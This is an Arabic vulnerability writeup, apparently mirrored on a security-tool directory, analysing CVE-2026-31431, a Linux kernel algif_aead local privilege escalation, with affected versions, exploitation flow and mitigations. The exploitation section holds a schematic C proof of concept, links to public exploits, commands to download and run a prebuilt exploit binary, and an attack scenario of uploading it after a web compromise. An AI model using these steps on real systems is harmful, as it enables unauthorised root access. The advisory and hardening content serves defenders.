Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليم
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

التحليل الفني لـ CVE-2026-31431، وهو تصعيد محلي للامتيازات في نواة لينكس داخل وحدة algif_aead، بما في ذلك السبب الجذري، والإصدارات المتأثرة، وسير عمل الاستغلال، واستراتيجيات التخفيف.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431 — تحليل تقني شامل

التصنيف: تصعيد الامتيازات المحلية (LPE) — نواة لينكس
CVSS: 7.8 (عالٍ)
التأثير: مستخدم بدون صلاحيات → root
الوحدة المتأثرة: algif_aead (النظام الفرعي AF_ALG في النواة)


الفهرس

  1. لماذا هي قابلة للاستغلال؟
  2. ما الإصدارات المتأثرة؟
  3. كيف يتم استغلالها
  4. كيفية التخفيف منها

1. لماذا هي قابلة للاستغلال؟

النظام الفرعي AF_ALG

تعرض نواة لينكس واجهة تشفير لمساحة المستخدم تُسمى AF_ALG (مقبس من عائلة AF_ALG). تتيح هذه الواجهة للعمليات غير المميزة استخدام مسرعات التشفير في النواة — التشفير، التجزئة، توليد المفاتيح — دون الحاجة إلى صلاحيات root.

أحد وحداتها هو algif_aead، الذي ينفذ وضع AEAD (Authenticated Encryption with Associated Data)، المستخدم في خوارزميات مثل AES-GCM أو ChaCha20-Poly1305.

الخلل الجذري

الخطأ يكمن في كيفية تعامل algif_aead مع عمليات sendmsg() + recvmsg() عندما يكون المخزن المؤقت للإخراج أصغر من المتوقع. تنفذ النواة عملية نسخ (copy_to_user) دون التحقق الصحيح من الحجم، مما يسبب:

root@kitploit:~
Buffer overflow → كتابة خارج الحدود في ذاكرة النواة

تقنيًا:

root@kitploit:~
algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy نحو عنوان يتم التحكم فيه جزئيًا بواسطة المستخدم

تسمح هذه الكتابة خارج الحدود بالكتابة فوق هياكل التحكم في النواة المجاورة في الذاكرة — خاصةً مؤشرات الدوال أو هياكل cred — لتصعيد الامتيازات.

لماذا لا يتطلب استغلالها صلاحيات root؟

لأن AF_ALG متاح للمستخدمين غير المميزين. يمكن لأي عملية فتح مقبس AF_ALG وإرسال البيانات دون مصادقة مسبقة. لا يحتاج الاستغلال إلى أي ثغرة مساعدة.

root@kitploit:~
// هذا يمكن لأي مستخدم في النظام القيام به
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. ما الإصدارات المتأثرة؟

النوى القابلة للاستغلال

إصدار النواةهل هو متأثر؟
< 5.10لا (الوحدة لم تكن موجودة بهذا الشكل)
5.10 — 6.1.xنعم ⚠️
6.2.xنعم ⚠️ (يشمل نواة الـ PoC)
6.3+ مع تطبيق التصحيحلا ✅

التوزيعات الأكثر تعرضًا

التوزيعةالنواة النموذجيةهل لديها تصحيح؟
Ubuntu 23.04 (lunar)6.2.0❌ نهاية الدعم — بدون تصحيحات
Ubuntu 22.04 LTS5.15.x✅ تم التصحيح
Ubuntu 24.04 LTS6.8.x✅ غير متأثرة
Debian 12 (Bookworm)6.1.x✅ تم التصحيح
Arch Linux (2026-03+)6.8.x✅ غير متأثرة

كيفية التحقق من نواتك

root@kitploit:~
# عرض إصدار النواة
uname -r

# التحقق مما إذا كانت الوحدة القابلة للاستغلال محملة
lsmod | grep algif_aead

# التحقق مما إذا كان AF_ALG متاحًا
cat /proc/net/protocols | grep ALG

مثال على إخراج قابل للاستغلال

root@kitploit:~
$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ إذا رأيت algif_aead في lsmod وكانت نواتك 6.2.x على Ubuntu 23.04، فأنت معرض للخطر.


3. كيف يتم استغلالها

⚠️ إشعار أخلاقي: هذا القسم تعليمي بحت. استغلال الأنظمة دون إذن صريح غير قانوني ويعاقب عليه القانون. الأمثلة مخصصة لبيئات المختبرات الخاضعة للتحكم.

تدفق الاستغلال

root@kitploit:~
1. فتح مقبس AF_ALG (algif_aead)
2. إرسال sendmsg() مع مخزن مؤقت كبير الحجم
3. recvmsg() مع مخزن مؤقت أصغر → تفعيل الخلل
4. كتابة خارج الحدود في كومة النواة
5. الكتابة فوق cred->uid/gid إلى 0
6. execve("/bin/sh") → قشرة root

استغلال أدنى مفاهيمي (C)

root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // تكوين مفتاح من 16 بايت
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // مخزن مؤقت كبير → تفعيل الكتابة خارج الحدود
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... بناء msghdr مع cmsg ALG_OP_ENCRYPT
    sendmsg(op_fd, &msg, 0);

    // recvmsg مع مخزن مؤقت غير كافٍ → النواة تكتب خارج الحدود
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // إذا نجح الاستغلال، نحن الآن root
    if (getuid() == 0) {
        printf("[+] تم الحصول على صلاحيات root!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

هذا مخطط مبسط. يتطلب الاستغلال الحقيقي بدائيات إضافية لتشكيل الكومة لمحاذاة الكتابة خارج الحدود مع بنية task_struct->cred.

الـ PoCs العامة المعروفة

تحتوي المستودعات التالية على تطبيقات وظيفية موثقة:

  • copy-fail-c — استغلال بلغة C خالصة، يتطلب تجميعًا
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — ملف ELF ثنائي مستقل، لا يتطلب تجميعًا
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

الاستخدام النموذجي (مختبر)

root@kitploit:~
# استنساخ وتجميع copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# النتيجة المتوقعة على نظام قابل للاستغلال:
# [*] فحص وحدة algif_aead...
# [*] تحضير رش الكومة...
# [+] كتابة خارج الحدود ناجحة
# [+] UID الآن: 0
# # whoami
# root

مع ملف ELF الثنائي (بدون تجميع)

root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

سيناريو هجوم حقيقي

root@kitploit:~
مهاجم خارجي
      │
      ▼
يستغل ثغرة ويب (RCE) → وصول كـ www-data
      │
      ▼
يرفع copyfail إلى الخادم (wget/curl)
      │
      ▼
ينفذ ./copyfail
      │
      ▼
قشرة root على الخادم ✓

الوقت المقدر من الوصول كـ www-data إلى root: أقل من 30 ثانية.


4. كيفية التخفيف منها

الحل النهائي — تحديث النظام

الحل الحقيقي الوحيد هو امتلاك نواة مع تطبيق التصحيح.

root@kitploit:~
# الخيار 1: الترقية إلى Ubuntu 24.04 LTS (موصى به)
do-release-upgrade

# الخيار 2: إذا كان لديك بالفعل Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# التحقق من النواة المصححة
uname -r   # يجب أن يكون ≥ 5.15.0-107 على Ubuntu 22.04

تخفيف فوري — تعطيل الوحدة القابلة للاستغلال

إذا لم تتمكن من التحديث الآن، قم بتعطيل algif_aead:

root@kitploit:~
# إنشاء قائمة حظر للوحدة
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# إعادة توليد initramfs ليكون دائمًا
sudo update-initramfs -u

# إعادة التشغيل
sudo reboot

التحقق من بقائها معطلة:

root@kitploit:~
lsmod | grep algif_aead
# يجب ألا يظهر أي شيء

⚠️ قد يؤدي هذا إلى كسر البرامج التي تستخدم تشفير AEAD عبر AF_ALG (نادر في خوادم الويب القياسية).


تخفيف عبر sysctl — تقييد مساحات أسماء المستخدمين

root@kitploit:~
# تعطيل مساحات أسماء المستخدمين غير المميزة (يكسر بعض ميزات Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# جعله دائمًا
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

تخفيف عبر AppArmor — حظر AF_ALG

إنشاء ملف تعريف AppArmor يرفض الوصول إلى AF_ALG:

root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # رفض في ملفات التعريف المحددة

لعملية الويب (مثال nginx/www-data):

root@kitploit:~
# الإضافة إلى ملف تعريف AppArmor الخاص بـ www-data أو nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

تقليل التأثير — تقوية www-data

على الرغم من أنه لا يمنع التصعيد، إلا أنه يقلل من سطح الهجوم الأولي:

root@kitploit:~
# التحقق من أن www-data ليس لديه صلاحيات sudo
sudo grep www-data /etc/sudoers

# إزالة الملفات الثنائية SUID غير الضرورية
find / -perm -4000 2>/dev/null

# تقييد الدلائل القابلة للوصول
chmod 700 /root
chmod 750 /home/*

جدول ملخص التخفيفات

التخفيفالفعاليةالتأثير على الخدمةدائم
الترقية إلى Ubuntu 24.04✅ كاملةأدنىنعم
قائمة حظر algif_aead✅ عاليةمنخفض جدًانعم
unprivileged_userns_clone=0🟡 جزئيةمتوسطنعم
رفض AppArmor لـ AF_ALG✅ عاليةمنخفضنعم
تقوية www-data🟡 تقلللا شيءنعم

المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • التزام النواة للإصلاح: النظام الفرعي crypto/algif_aead.c
  • الـ PoC: https://github.com/tgies/copy-fail-c
  • PoC ELF: https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
  • إشعار أمان Ubuntu ذو الصلة: USN-XXXX-1

تم إعداد هذا المستند لأغراض أكاديمية — مهندس إدارة أنظمة، 2026

تنزيل الأداة